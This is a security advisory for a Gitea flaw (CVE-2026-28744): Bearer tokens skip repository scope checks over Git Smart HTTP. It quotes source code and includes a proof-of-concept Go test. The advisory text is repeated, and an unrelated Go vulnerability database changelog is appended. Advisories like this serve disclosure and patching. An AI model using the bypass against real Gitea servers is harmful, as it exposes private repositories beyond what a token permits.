CVE-2026-28744

Gitea versions up to and including 1.26.1 allow Git smart HTTP requests authenticated with bearer tokens to bypass repository token scope checks.

Gitea versions up to and including 1.26.1 allow Git smart HTTP requests authenticated with bearer tokens to bypass repository token scope checks.

Summary

Gitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication — CheckRepoScopedToken() returns early unless ctx.IsBasicAuth is true — so the same token sent as Authorization: Bearer <token> bypasses the scope check entirely.

As a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the read:repository scope, and likewise reach the Git push without write:repository.

Details

Git Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth:

// routers/web/web.go
addOwnerRepoGitHTTPRouters(
	m,
	repo.HTTPGitEnabledHandler,
	webAuth.AllowBasic,
	webAuth.AllowOAuth2,
	repo.CorsHandler(),
	optSignInFromAnyOrigin,
	context.UserAssignmentWeb(),
)

The Git HTTP authorization path calls CheckRepoScopedToken() before falling through to normal repository RBAC:

// routers/web/repo/githttp.go
if askAuth {
	if !ctx.IsSigned {
		ctx.HTTPError(http.StatusUnauthorized)
		return nil
	}

	context.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode))
	if ctx.Written() {
		return nil
	}

	// normal repository RBAC follows
}

However, CheckRepoScopedToken() only enforces token scopes for Basic-authenticated requests:

// services/context/permission.go
func CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) {
	if !ctx.IsBasicAuth || ctx.Data["IsApiToken"] != true {
		return
	}

	scope, ok := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope)
	if ok {
		requiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository)
		// public-only and required repository scope checks follow
	}
}

The Bearer/OAuth2 auth path still records the token scope:

// services/auth/oauth2.go
accessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA)
if uid != 0 {
	store.GetData()["IsApiToken"] = true
	store.GetData()["ApiTokenScope"] = accessTokenScope
}

Bearer PATs also set IsApiToken=true and ApiTokenScope, but ctx.IsBasicAuth remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored.

PoC

This test creates a token for user2 with only read:notification, then requests Git Smart HTTP refs for user2/repo2, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth.

func TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	repo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: "user2", Name: "repo2"})
	assert.True(t, repo.IsPrivate)

	session := loginUser(t, "user2")
	token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification)
	url := "/user2/repo2/info/refs?service=git-upload-pack"

	basicReq := NewRequest(t, "GET", url)
	basicReq.SetBasicAuth(token, "x-oauth-basic")
	MakeRequest(t, basicReq, http.StatusForbidden)

	bearerReq := NewRequest(t, "GET", url).AddTokenAuth(token)
	resp := MakeRequest(t, bearerReq, http.StatusOK)
	assert.Contains(t, resp.Body.String(), "refs/heads/master")
}

Impact

Any Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access.

The vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as read:notification, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because git-receive-pack also calls the same repository scope check before normal write RBAC.

Gitea versions up to and including 1.26.1 allow Git smart HTTP requests authenticated with bearer tokens to bypass repository token scope checks.

Gitea versions up to and including 1.26.1 allow Git smart HTTP requests authenticated with bearer tokens to bypass repository token scope checks.

Summary

Gitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication — CheckRepoScopedToken() returns early unless ctx.IsBasicAuth is true — so the same token sent as Authorization: Bearer <token> bypasses the scope check entirely.

As a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the read:repository scope, and likewise reach the Git push without write:repository.

Details

Git Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth:

// routers/web/web.go
addOwnerRepoGitHTTPRouters(
	m,
	repo.HTTPGitEnabledHandler,
	webAuth.AllowBasic,
	webAuth.AllowOAuth2,
	repo.CorsHandler(),
	optSignInFromAnyOrigin,
	context.UserAssignmentWeb(),
)

The Git HTTP authorization path calls CheckRepoScopedToken() before falling through to normal repository RBAC:

// routers/web/repo/githttp.go
if askAuth {
	if !ctx.IsSigned {
		ctx.HTTPError(http.StatusUnauthorized)
		return nil
	}

	context.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode))
	if ctx.Written() {
		return nil
	}

	// normal repository RBAC follows
}

However, CheckRepoScopedToken() only enforces token scopes for Basic-authenticated requests:

// services/context/permission.go
func CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) {
	if !ctx.IsBasicAuth || ctx.Data["IsApiToken"] != true {
		return
	}

	scope, ok := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope)
	if ok {
		requiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository)
		// public-only and required repository scope checks follow
	}
}

The Bearer/OAuth2 auth path still records the token scope:

// services/auth/oauth2.go
accessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA)
if uid != 0 {
	store.GetData()["IsApiToken"] = true
	store.GetData()["ApiTokenScope"] = accessTokenScope
}

Bearer PATs also set IsApiToken=true and ApiTokenScope, but ctx.IsBasicAuth remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored.

PoC

This test creates a token for user2 with only read:notification, then requests Git Smart HTTP refs for user2/repo2, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth.

func TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	repo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: "user2", Name: "repo2"})
	assert.True(t, repo.IsPrivate)

	session := loginUser(t, "user2")
	token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification)
	url := "/user2/repo2/info/refs?service=git-upload-pack"

	basicReq := NewRequest(t, "GET", url)
	basicReq.SetBasicAuth(token, "x-oauth-basic")
	MakeRequest(t, basicReq, http.StatusForbidden)

	bearerReq := NewRequest(t, "GET", url).AddTokenAuth(token)
	resp := MakeRequest(t, bearerReq, http.StatusOK)
	assert.Contains(t, resp.Body.String(), "refs/heads/master")
}

Impact

Any Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access.

The vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as read:notification, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because git-receive-pack also calls the same repository scope check before normal write RBAC.

Gitea: Git Smart HTTP Skips Repository Token Scopes for Bearer Tokens in code.gitea.io/gitea

This update for govulncheck-vulndb fixes the following issues:

• Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

• GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
• GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
• GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
• GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
• GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
• GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
• GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
• GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
• GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
• GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
• GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
• GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
• GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
• GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
• GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
• GO-2026-5933 GHSA-3g4q-2f67-2gvh
• GO-2026-5934 GHSA-59qp-cfj3-rp64
• GO-2026-5935 GHSA-7856-g3gv-9wq8
• GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
• GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
• GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
• GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
• GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
• GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
• GO-2026-5942 CVE-2026-46600
• GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
• GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
• GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
• GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
• GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
• GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
• GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
• GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
• GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
• GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
• GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
• GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
• GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
• GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
• GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
• GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
• GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
• GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
• GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
• GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
• GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
• GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
• GO-2026-5969 GHSA-g936-7jqj-mwv8
• GO-2026-5970 CVE-2026-56852
• GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
• GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
• GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
• GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
• GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
• GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
• GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
• GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
• GO-2026-5981 GHSA-mqxv-9rm6-w8qc
• GO-2026-5982 GHSA-pqg7-v6wh-3pfp
• GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
• GO-2026-5985 GHSA-7rx3-5wx3-5v76
• GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
• GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
• GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
• GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
• GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
• GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
• GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
• GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
• GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
• GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
• GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
• GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
• GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
• GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
• GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
• GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…